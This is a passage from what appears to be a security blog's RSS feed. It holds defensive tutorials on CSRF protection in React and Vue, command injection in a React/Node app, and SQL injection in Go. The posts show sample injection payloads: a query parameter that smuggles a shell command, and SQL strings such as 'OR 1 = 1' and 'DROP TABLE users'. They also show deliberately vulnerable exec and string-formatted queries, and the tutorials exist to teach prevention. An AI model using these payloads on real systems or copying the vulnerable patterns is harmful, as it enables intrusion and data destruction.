Busters&lt;/h2&gt;&lt;p&gt;To understand how you can protect your application from a CSRF attack, you must first understand the solutions that &lt;i&gt;aren&amp;#39;t&lt;/i&gt; reliable. These solutions seem easy, but an attacker can easily bypass them. And your application might still be vulnerable to a CSRF attack.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s have a quick glimpse at these:&lt;/p&gt;&lt;h3&gt;Using Web Storage Instead of Cookies&lt;/h3&gt;&lt;p&gt;Do you think you can store the authentication tokens inside the browser&amp;#39;s local or session storage instead of cookies to solve this problem? Think again. The attacker can access any data you store on your browser&amp;#39;s local storage by running the following line of code:&lt;/p&gt;&lt;p&gt;&lt;code&gt;const token=localStorage.getItem(&amp;#39;token&amp;#39;);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;And once the attacker gets access to your session token, you&amp;#39;re back to square one! Sure, this might add another blocking step for the attacker, but it definitely isn&amp;#39;t a reliable solution.&lt;/p&gt;&lt;h3&gt;Using a POST Request&lt;/h3&gt;&lt;p&gt;If you refactor your server endpoints and make every endpoint a POST request, you&amp;#39;re still not completely safe from a CSRF attack. In the previous section, I illustrated an example of a delete request to delete the user&amp;#39;s account. This could have been a GET request as well.&lt;/p&gt;&lt;p&gt;You might think that using a POST request will add another pain point for the attacker to figure out the request body and parameters. However, it&amp;#39;s still merely another barrier and not a foolproof solution.&lt;/p&gt;&lt;h2&gt;CSRF Protection: The Reliable Solution&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s go through the steps you can follow to protect your application against a CSRF attack.&lt;/p&gt;&lt;h3&gt;Using CORS on the Server&lt;/h3&gt;&lt;p&gt;CORS stands for cross-origin resource sharing. It&amp;#39;s a protocol that allows your client to send requests and accept responses from a server that has a different origin. Normally, the browser uses an SOP or same-origin policy to ensure that your server only listens to requests from clients of the same origin.&lt;/p&gt;&lt;p&gt;However, sometimes you want to expose some public API endpoints of your server so different clients can access it. Or maybe you simply wish to host your server and client on different domains. In these scenarios, the browser&amp;#39;s SOP doesn&amp;#39;t allow your server to communicate with your client as a security measure.&lt;/p&gt;&lt;p&gt;CORS lets you work around that problem so your server can communicate with clients of different origins. This is possible if your server has the following line of code inside the request handlers or middleware.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;If you&amp;#39;re new to CORS and want to understand what it is and how it works, you can check out my&lt;a href=&quot;https://www.stackhawk.com/blog/react-cors-guide-what-it-is-and-how-to-enable-it/&quot;&gt; &lt;u&gt;other post&lt;/u&gt;&lt;/a&gt; where I talk about CORS in detail.&lt;/p&gt;&lt;h3&gt;Using CSRF Tokens&lt;/h3&gt;&lt;p&gt;CSRF tokens, also called anti-CSRF tokens, let your server communicate to the client before an authenticated request is made that may be tampered with. Let&amp;#39;s go back to the previous example, where an attacker sent a delete request from a client from your browser.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s say you have a NodeJS and Express back end that interacts with your React client. You can install a library called&lt;a href=&quot;https://www.npmjs.com/package/csurf&quot;&gt; &lt;u&gt;csurf&lt;/u&gt;&lt;/a&gt; that&amp;#39;s used to generate CSRF tokens, and you can send them to your client through an endpoint.&lt;/p&gt;&lt;p&gt;&lt;code&gt;npm i csurf&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Now you need to add the following endpoint.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The above is a simple GET endpoint that returns a CSRF token.You can send a GET request to that endpoint to retrieve the CSRF token. I&amp;#39;m using Axios in this example, but you can also use Fetch API to send valid headers with the &lt;b&gt;X-CSRF-Token&lt;/b&gt; attached to the request.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Let&amp;#39;s say your minimal profile page component in React looks like this.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;You can then call the &lt;b&gt;getCSRFToken &lt;/b&gt;function inside the &lt;b&gt;useEffect &lt;/b&gt;as shown:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;That&amp;#39;s it! This CSRF token is sent alongside every request, and it generates every time your profile page loads.&lt;/p&gt;&lt;p&gt;However, you need to make sure you don&amp;#39;t have any XSS vulnerabilities in your application that can leak these tokens to the attacker. React naturally protects you from XSS attacks, but here&amp;#39;s an&lt;a href=&quot;https://www.stackhawk.com/blog/react-xss-guide-examples-and-prevention/&quot;&gt; &lt;u&gt;interesting guide&lt;/u&gt;&lt;/a&gt; that may help you if you wish to know more.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;Final Words&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;I hope you got the hang of safeguarding your applications from a CSRF attack. Here&amp;#39;s a&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-request-forgery-csrf/&quot;&gt; &lt;u&gt;detailed guide&lt;/u&gt;&lt;/a&gt; on CSRF. I highly recommend you go through it so you can understand things better from a generic perspective. You must always validate the origin of requests that your server receives. You can create a custom middleware that does this. Finally, always check for other security vulnerabilities in your application and routinely refactor your code accordingly. Until next time!&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Siddhant Varma. &lt;/i&gt;&lt;a href=&quot;https://www.linkedin.com/in/siddhantvarma99/&quot;&gt;&lt;u&gt;&lt;i&gt;Siddhant&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a full stack JavaScript developer with expertise in frontend engineering. He’s worked with scaling multiple startups in India and has experience building products in the Ed-Tech and healthcare industries. Siddhant has a passion for teaching and a knack for writing. He&amp;#39;s also taught programming to many graduates, helping them become better future developers.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[React Command Injection: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/react-command-injection-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Command injection is considered to be one of the five most dangerous injection attacks. It&amp;#39;s equivalent to a malicious attacker using your system themselves. Imagine the damage an attacker will be able to do if they were to get access to your entire system.&lt;/p&gt;&lt;p&gt;As a developer, you&amp;#39;ve used the command line terminal to do literally everything—creating folders, reading files, or even deleting them. Command injection transfers all this power to the attacker. But how does that really happen? What all can an attacker do?&lt;/p&gt;&lt;p&gt;In this post, I&amp;#39;ll help you understand what command injection is and how it works using an example. I&amp;#39;ll also walk you through how you can prevent it in your React application.&lt;/p&gt;&lt;h2&gt;What Is an Injection Attack?&lt;/h2&gt;&lt;p&gt;Most injection attacks follow a similar pattern across all their variants. In its most primitive step, an injection attack finds a vulnerability in the application. This vulnerability provides a gateway to get unauthorized access to server files, system OS, etc. The attacker then injects some code through this gateway to steal data, modify system files, or execute shell commands.&lt;/p&gt;&lt;p&gt;Based on the type of injection attack, the code is injected in different ways. If it&amp;#39;s a client-side vulnerability, the easiest way for an attacker to inject code is through JavaScript. In this case, the attacker injects a script that runs on the user&amp;#39;s browser. If you&amp;#39;re curious as to how script injection works, have a look at my other blog where I talk about&lt;a href=&quot;https://www.stackhawk.com/blog/react-xss-guide-examples-and-prevention/&quot;&gt; &lt;u&gt;XSS attacks in React&lt;/u&gt;&lt;/a&gt; in detail.&lt;/p&gt;&lt;p&gt;On the other hand, if it&amp;#39;s the server, the attacker could inject some shell commands. We know how powerful shell commands are. They can interact directly with your system-level APIs.&lt;/p&gt;&lt;h2&gt;What Exactly Is a Command Injection Attack?&lt;/h2&gt;&lt;p&gt;A command injection attack is more lethal because it gives the attacker more privileges than a regular injection attack. Earlier, I talked about how attackers can inject a malicious script on the client side. However, the script can only execute some JavaScript. The extent to which it can hamper your application is largely influenced by what JavaScript can do.&lt;/p&gt;&lt;p&gt;In other words, injecting code or a script often becomes limited to the language. However, that&amp;#39;s not the case with command injection. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;A typical command injection attack allows the attacker to &lt;b&gt;execute shell commands&lt;/b&gt; on your server. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;This gives the attacker complete control over your system. Consequently, the attacker can read your environment secrets and other configurational files. Not only this, but the attacker can also modify or delete other files on your system.&lt;/p&gt;&lt;h2&gt;Example of a Command Injection Attack&lt;/h2&gt;&lt;p&gt;Typical command injection attacks happen directly on the server, but they may also be triggered from the client side. Let&amp;#39;s assume you have a React app on the front end and a NodeJS server on the back end.&lt;/p&gt;&lt;h3&gt;Create a Back-End Server&lt;/h3&gt;&lt;p&gt;To set up the latter, run the following command:&lt;/p&gt;&lt;p&gt;&lt;code&gt;cd command-injection-server &amp;amp;&amp;amp; npm init -y &amp;amp;&amp;amp; npm i express&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#39;s assume that your back end receives the name of a text file stored locally on your server. This text file stores the version of your server. You need to validate if your back end and front end are running on the same version. So, you make an HTTP request to an endpoint. You send the version file as a query parameter from the front end to an endpoint. This endpoint checks if that version file exists on the server. If it does, you send back the contents of the file. Otherwise, you throw an error.&lt;/p&gt;&lt;p&gt;Consider the following code that does all of the above:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;To demonstrate, let&amp;#39;s make a &lt;b&gt;v1.txt&lt;/b&gt; file in the root directory of your project. Add the following content inside that text file:&lt;/p&gt;&lt;p&gt;&lt;code&gt;App Version 1&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Your project structure should look like this:&lt;/p&gt;&lt;p&gt;&lt;i&gt;Version API Back-End Project Structure.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;If you now make a request to &lt;b&gt;http://localhost:8080/?versionFile=v1.txt&lt;/b&gt; endpoint, you&amp;#39;ll get back the following response:&lt;/p&gt;&lt;p&gt;&lt;i&gt;Version API Response.&lt;/i&gt;&lt;/p&gt;&lt;h3&gt;Consume Version API on Front End&lt;/h3&gt;&lt;p&gt;You saw the above response of the version check API from the server. However, you need to make a request to the above endpoint from your React app. First, let&amp;#39;s create an empty React app by running:&lt;/p&gt;&lt;p&gt;&lt;code&gt;npx create-react-app command-injection-client&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Rewrite your &lt;b&gt;App.js&lt;/b&gt; file to the following:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;In the above code, I simply invoke a method that makes an HTTP GET request to the server at the &lt;b&gt;http://localhost:8080/?versionFile=v1.txt &lt;/b&gt;endpoint. I call this function inside the &lt;b&gt;useEffect &lt;/b&gt;so that it&amp;#39;s fired as soon as the page loads. If you check the console, you&amp;#39;ll get back the app version in response as shown:&lt;/p&gt;&lt;p&gt;&lt;i&gt;Version API Front End.&lt;/i&gt;&lt;/p&gt;&lt;h3&gt;Command Injection Vulnerability&lt;/h3&gt;&lt;p&gt;Until now, it may seem as if everything is fine. There&amp;#39;s a server that serves an endpoint for version check and your React app makes a request to it. However, the endpoint exposes a command injection vulnerability. Let&amp;#39;s see how.&lt;/p&gt;&lt;p&gt;The front end hits the version endpoint with a query parameter that executes a shell command on the server. The query parameter is the file name that contains the version of the app. It&amp;#39;s extracted by your server and is directly taken to execute a command. An attacker could easily infiltrate this request and send some malicious commands that can be executed on the server.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s say we also had a secrets folder that contains all the sensitive configurational credentials of our project. An attacker could make a request like this from the front end:&lt;/p&gt;&lt;p&gt;&lt;code&gt;const response=await fetch(&amp;#39;http://localhost:8080/?versionFile=v1.txt&amp;amp;&amp;amp;cd%20secrets&amp;#39;,{mode:&amp;#39;cors&amp;#39;});&lt;/code&gt;&lt;/p&gt;&lt;p&gt;which would then execute the following command on the server:&lt;/p&gt;&lt;p&gt;&lt;code&gt;type v1.txt &amp;amp;&amp;amp; cd secrets&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Now the attacker can access your secrets folder! This is just a simple example, but there are a ton of dangerous commands an attacker can execute.&lt;a href=&quot;https://auth0.com/blog/preventing-command-injection-attacks-in-node-js-apps/#A-Realistic-Attack&quot;&gt; &lt;u&gt;Here&amp;#39;s a detailed guide&lt;/u&gt;&lt;/a&gt; that tells you all the realistic attacks the attacker can commit using command injection once your system is compromised. For now, let&amp;#39;s move ahead and see how we can fix this problem.&lt;/p&gt;&lt;h2&gt;Prevent Command Injection Attack&lt;/h2&gt;&lt;p&gt;There are several methods, best practices, and coding guidelines you can follow to prevent a command injection attack on your application. Let&amp;#39;s have a look at some of the methods below, what they do and how they combat command injection.&lt;/p&gt;&lt;h3&gt;Refactor Your API&lt;/h3&gt;&lt;p&gt;If you head back to the back-end code, the following lines of code are the bottlenecks for the command injection vulnerability in your system:&lt;/p&gt;&lt;p&gt;&lt;code&gt;const appVersionFile= req.query.versionFile;
const command = `type ${appVersionFile}`;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;We&amp;#39;re directly getting the file name as a query parameter in the API. We&amp;#39;re then using this file name directly in the command. Thus, any infiltration with the query parameter is directly going to affect the shell command executed on the server. Besides, it doesn&amp;#39;t make a lot of sense to send a hardcoded file name as a query parameter from the front end.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s refactor the above lines of code to the following:&lt;/p&gt;&lt;p&gt;&lt;code&gt;const appVersion= req.query.version;
const versionFile=`v${appVersion}.txt`;
const command = `type ${versionFile}`;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;We have changed the query parameter to be only the version number that we need to check. This is because we don&amp;#39;t really need an entire file name as a query parameter in the API. We then use the version number to dynamically generate a version file name. Finally, we use that filename to execute a command. If you now make the same request as earlier, you&amp;#39;ll get an error with the following:&lt;/p&gt;&lt;p&gt;&lt;code&gt;{
   killed: false,
   code: 1,
   signal: null,
   cmd: &amp;quot;type vundefined.txt&amp;quot;
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Similarly, if the attacker tries to inject a command in your server through your React app, they won&amp;#39;t be able to do so as the API would throw an exception.&lt;/p&gt;&lt;p&gt;&lt;i&gt;Version API Refactored Response.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Hence, the attacker won&amp;#39;t be able to run any lethal shell commands.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Use More Airtight Functions for Executing Shell Commands&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;We use the &lt;b&gt;exec&lt;/b&gt; function to execute the shell commands. According to&lt;a href=&quot;https://nodejs.org/api/child_process.html#child_process_child_process_exec_command_options_callback&quot;&gt; &lt;u&gt;NodeJS official docs&lt;/u&gt;&lt;/a&gt;, this function takes in a command that runs it as it is, &amp;quot;with space-separated arguments.&amp;quot; Instead, you can use a more airtight function that disallows your server to run arbitrary commands.&lt;/p&gt;&lt;p&gt;The &lt;b&gt;execFile&lt;/b&gt; function takes in a file that contains some shell commands. Additionally, it also takes some arguments to run those commands. It&amp;#39;s more secure as now you don&amp;#39;t generate commands on the fly. Instead, you store them inside a bash file and can send some arguments specific to the command you want to execute. You can read more about this function&lt;a href=&quot;https://nodejs.org/api/child_process.html#child_process_child_process_execfile_file_args_options_callback&quot;&gt; &lt;u&gt;here&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Validate Input&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;I can&amp;#39;t emphasize enough how important it is to validate inputs from the front end. In this scenario, you can validate the query parameters before sending them to the server. Have a look at the following code:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The above code validates the query parameters on the front end before sending them in the request. The &lt;b&gt;validateQueryParam&lt;/b&gt; function checks if the query parameters are infiltrated. If this function returns true, the front end blocks the API request and throws an alert.&lt;/p&gt;&lt;p&gt;&lt;i&gt;Command Injection Prevention From Front End&lt;/i&gt;&lt;/p&gt;&lt;p&gt;You can also validate the query parameters against a more robust regular expression.&lt;/p&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;I hope this post helped to simplify command injection for you. Make sure you validate all inputs on the front end. This safeguards your application from several malicious attacks, like command injection and SQL injection.&lt;/p&gt;&lt;p&gt;However, you can&amp;#39;t completely rely on input validation from the client-side to prevent such an attack. The most foolproof protection from such an attack must be implemented on the server-side. Remember to use secure functions when running shell commands. Finally, routinely refactor your code to detect potential bottlenecks.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Siddhant Varma. &lt;/i&gt;&lt;a href=&quot;https://www.linkedin.com/in/siddhantvarma99/&quot;&gt;&lt;u&gt;&lt;i&gt;Siddhant&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a full stack JavaScript developer with expertise in frontend engineering. He’s worked with scaling multiple startups in India and has experience building products in the Ed-Tech and healthcare industries. Siddhant has a passion for teaching and a knack for writing. He&amp;#39;s also taught programming to many graduates, helping them become better future developers.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Golang SQL Injection Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/golang-sql-injection-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;It&amp;#39;s not that hard to protect yourself from SQL injections. However, many people don&amp;#39;t do it. That&amp;#39;s why, year after year, SQL injections continue to rank as one of the most common and damaging security threats out there. No language is really immune to SQL injections. Go, which is often called &amp;quot;Golang&amp;quot; to make it more searchable, is certainly no exception. Despite being a very popular language created by a giant tech company, Golang SQL injections are certainly a thing.&lt;/p&gt;&lt;p&gt;In this post, we&amp;#39;ll offer you a guide to fight SQL injections in Go. We&amp;#39;ll open the post with some fundamentals by explaining SQL injections in general terms. You&amp;#39;ll understand what they are and how they work. Then we&amp;#39;ll proceed to the specific case of Go SQL injections, showing what you can do to shield your app from them. Unsurprisingly, this post assumes you have at least basic familiarity both with the Go language and with SQL and databases.&lt;/p&gt;&lt;p&gt;Before wrapping up, we&amp;#39;ll share some final thoughts related to SQL injections and security in general, including some tips on how to better protect your applications and improve your organization&amp;#39;s security.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s dig in.&lt;/p&gt;&lt;h2&gt;What Is a SQL Injection?&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-sql-injection/&quot;&gt;A SQL injection&lt;/a&gt; is a type of attack by which an unauthorized actor successfully injects some SQL code into an application. With the injected code, the malicious actor is able to manipulate and change the database queries the application sends to the underlying database.&lt;/p&gt;&lt;p&gt;A successful SQL injection can have devastating effects. It can allow the attacker to access unauthorized sensitive information or — even worse — include, edit, or delete information from the database.&lt;/p&gt;&lt;h2&gt;Examples of a Go SQL Injection&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s see what a simple example of a SQL injection can look like in Go. Consider the following code:&lt;/p&gt;&lt;p&gt;&lt;code&gt;id := &amp;quot;&amp;#39;58&amp;#39;&amp;quot;;
query := fmt.Sprintf(&amp;quot;SELECT name, email FROM users WHERE ID = %s, id);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;As you can see, the code above just assembles a query—later to be sent to a database—formatting a predefined string with a parameter containing an ID. More realistically, the ID would have been passed as an argument, but for our purposes, the example is good enough.&lt;/p&gt;&lt;p&gt;So what exactly is the problem here?&lt;/p&gt;&lt;p&gt;Well, first understand that, in a real application, the ID parameter would likely originate from some user input instead of being hardcoded. Now you just have to imagine an ill-intentioned user passing, instead of a number, something like this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;#39;58&amp;#39; OR 1 = 1;--&amp;#39;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;With such a parameter, the resulting query would look like this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;SELECT name, email FROM users WHERE ID = &amp;#39;58&amp;#39; OR 1 = 1;--&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Since 1 is always equal to 1, executing the query above would result in all the users being retrieved!&lt;/p&gt;&lt;p&gt;However, SQL injections aren&amp;#39;t only used for retrieving data. They can do much worse. Consider the following example:&lt;/p&gt;&lt;p&gt;&lt;code&gt;id := &amp;quot;&amp;#39;58&amp;#39;;DROP TABLE users--&amp;quot;;
query := fmt.Sprintf(&amp;quot;SELECT name, email FROM users WHERE ID = %s&amp;quot;, id);
fmt.Println(query);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;In the case above, the resulting query will be this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;SELECT name, email FROM users WHERE ID = &amp;#39;58&amp;#39;;DROP TABLE users--&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Yep, that&amp;#39;s right. The attacker successfully nuked our &lt;b&gt;users&lt;/b&gt; table. If you want to play around with the parameter to experiment with the results, just go to the&lt;a href=&quot;https://play.golang.org/p/-HUewJ-6jYO&quot;&gt; &lt;u&gt;Go Playground&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;So how can you protect your Go apps against this type of attack?&lt;/p&gt;&lt;h2&gt;Protecting Yourself Against SQL Injections&lt;/h2&gt;&lt;p&gt;Luckily, protecting your app against SQL injections isn&amp;#39;t that hard if you know what to do. The first step is understanding and using parameterized queries.&lt;/p&gt;&lt;h3&gt;Parameterized Queries to the Rescue&lt;/h3&gt;&lt;p&gt;Parameterized queries are the universal answer to SQL injection attacks. By using a parameterized query, you create a statement that is guaranteed to escape things properly, removing the risk of injections.&lt;/p&gt;&lt;p&gt;That works because instead of assembling the query ourselves by concatenating strings, we pass the values as parameters and let the database engine itself figure out how to replace the parameters with values and execute the query.&lt;/p&gt;&lt;h3&gt;Using Parameterized Queries in Go&lt;/h3&gt;&lt;p&gt;A parametrized query looks much like a normal query. But instead of using string formatting or concatenation to assemble the query, you use a placeholder for the parameters. The query from the previous example could look like this, for instance:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;quot;SELECT name, email FROM users WHERE ID = ?&amp;quot;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;In this case, the &lt;code&gt;?&lt;/code&gt; character is the placeholder that will be sent to the database engine.&lt;/p&gt;&lt;p&gt;It&amp;#39;s important to clarify that placeholders themselves are database specific. Here are the different placeholders by database provider:&lt;/p&gt;&lt;h2&gt;Using Parameterized Queries in Practice&lt;/h2&gt;&lt;p&gt;Generally speaking, you need two things to get started with parameterized queries in Go.&lt;/p&gt;&lt;p&gt;First, you need to import the package &lt;b&gt;database/sql&lt;/b&gt; into your code. Also, you need the appropriate driver for your database provider, such as the&lt;a href=&quot;https://pkg.go.dev/github.com/lib/pq&quot;&gt; &lt;u&gt;pq driver for PostgreSQL&lt;/u&gt;&lt;/a&gt;. Here&amp;#39;s a&lt;a href=&quot;https://github.com/golang/go/wiki/SQLDrivers&quot;&gt; &lt;u&gt;list of all of the available database drivers&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;This is a complete example of connecting to a PostgreSQL database and executing a SELECT using a parameterized query:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Let&amp;#39;s explain the code above in detail:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;The code starts by importing both the database/sql package and the specific driver for PostgreSQL.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Then it declares the function &lt;b&gt;main()&lt;/b&gt; and creates a string variable containing the connection string.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The code then tries to open a connection with the created connection string.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;After that, we do some error handling, logging the error in case it exists.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Finally, we declare a variable and assign a number to it and use the variable as the parameter for a parametrized query.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Going further, we would probably handle the errors from the query — if any — and then do something useful with the results.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Go SQL Injections: Go Get Rid of Them!&lt;/h2&gt;&lt;p&gt;Go is a very successful language. In fact, according to the 2020 Stack Overflow Developer Survey, it ranks as the&lt;a href=&quot;https://insights.stackoverflow.com/survey/2020#technology-most-loved-dreaded-and-wanted-languages-loved&quot;&gt; &lt;u&gt;fifth-most-loved programming language&lt;/u&gt;&lt;/a&gt;. Go&amp;#39;s success brought it fame, fortune, and everything that goes with it. However, some not-so-nice things were included in the package. For instance, security issues, including SQL injections.&lt;/p&gt;&lt;p&gt;SQL injections, despite being a widespread security threat, aren&amp;#39;t usually that advanced. The fact that they still occur so often simply shows that engineers aren&amp;#39;t educating themselves on basic security principles.&lt;/p&gt;&lt;p&gt;What can you, as an engineer, do to prevent SQL injections and other types of security vulnerabilities?&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Education.&lt;/b&gt; Pursue education on security threats. Leverage opportunities to educate your coworkers—for instance, during pair-programming or code review sessions. You can learn more about the&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-sql-injection/&quot;&gt; &lt;u&gt;definition of SQL injections and its different types in our dedicated post.&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Techniques.&lt;/b&gt; Adopt techniques to reduce the likelihood of injections and other types of attacks (such as using parameterized queries) and also to reduce damage in case a breach does occur, e.g., applying the principle of least privilege.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Tooling&lt;/b&gt;. Even experienced engineers will make mistakes eventually. That&amp;#39;s why it&amp;#39;s vital to leverage&lt;a href=&quot;https://www.stackhawk.com/product/&quot;&gt;&lt;u&gt; tools&lt;/u&gt;&lt;/a&gt; that can automatically detect security threats and add them to your CI/CD pipeline.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;To sum it up: Though a SQL injection can be a serious issue, you&amp;#39;re not hopeless against it. By keeping yourself educated on general security principles and using the tried-and-true approaches to working with databases, you&amp;#39;ll be fine.&lt;/p&gt;&lt;p&gt;Stay tuned to the StackHawk blog for more security-related content. Thanks for reading, and until next time.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Carlos Schults. &lt;/i&gt;&lt;a href=&quot;https://carlosschults.net&quot;&gt;&lt;u&gt;&lt;i&gt;Carlos&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a consultant and software engineer with experience in desktop, web, and mobile development. Though his primary language is C#, he has experience with a number of languages and platforms. His main interests include automated testing, version control, and code quality.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Vue CSRF Protection Guide: CSRF Examples and How to Enable Protection]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/vue-csrf-protection-guide-csrf-examples-and-how-to-enable-protection</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;The struggle between malicious actors and those tasked with securing online systems is in a constant state of flux. When attackers find a way into a system, defenders find ways to patch the hole and make their defenses stronger. In the same vein, defenders find more secure ways to authenticate the person logging in, while attackers try to compromise these methods. In this post, you&amp;#39;ll learn about &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-request-forgery-csrf/&quot;&gt;cross-site request forgery (CSRF)&lt;/a&gt; and how you can reduce the chance of a malicious actor compromising a user&amp;#39;s account. This type of vulnerability relies on websites trusting requests made by authenticated users regardless of the requests&amp;#39; intent. We&amp;#39;ll first have a look at recreating this vulnerability in the Vue app and then we&amp;#39;ll explore ways to fix the vulnerability.&lt;/p&gt;&lt;h2&gt;What is Cross-Site Request Forgery?&lt;/h2&gt;&lt;p&gt;CSRF is a type of vulnerability that allows a malicious third-party website to carry out unintended actions on behalf of a user authenticated by a trusted website. That&amp;#39;s a mouthful, but it&amp;#39;s easier to understand when you look at the illustration below.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s breakdown what&amp;#39;s going on here:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;The user visits their &lt;b&gt;bank.com&lt;/b&gt;, which is a trusted website but has a CSRF vulnerability in their fund transfer page. They authenticate with the bank and carry out regular banking activity. This is denoted by the &lt;b&gt;valid and authenticated requests&lt;/b&gt; section in the illustration.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The user then wants to look at cat pictures and they find a new website for this: &lt;b&gt;freecatpicz.com&lt;/b&gt;. In this scenario, a scammer has set up this website to fool users of &lt;b&gt;bank.com&lt;/b&gt;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The malicious website crafts a special HTTP request and sends it to &lt;b&gt;bank.com&lt;/b&gt;. Since this happens on the user&amp;#39;s browser, where the authentication cookie is already set, the bank doesn&amp;#39;t know it&amp;#39;s not a genuine request. Before the user realizes anything is wrong, the bank will have processed the request and transferred the user&amp;#39;s money to the attacker&amp;#39;s account.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Now let&amp;#39;s look at some examples in code to really hammer this concept home.&lt;/p&gt;&lt;h2&gt;Example of an Exploitable Vulnerability&lt;/h2&gt;&lt;p&gt;For our example project, we&amp;#39;re going to make a small app that will let you set a status. It&amp;#39;s going to have two parts to it:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;PHP backend&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Displays a form and allow the user to set a status&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Allows the user to fetch their latest status&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Vue app&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;When the page is loaded, display the latest status&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Display all statuses that have been set in the current page 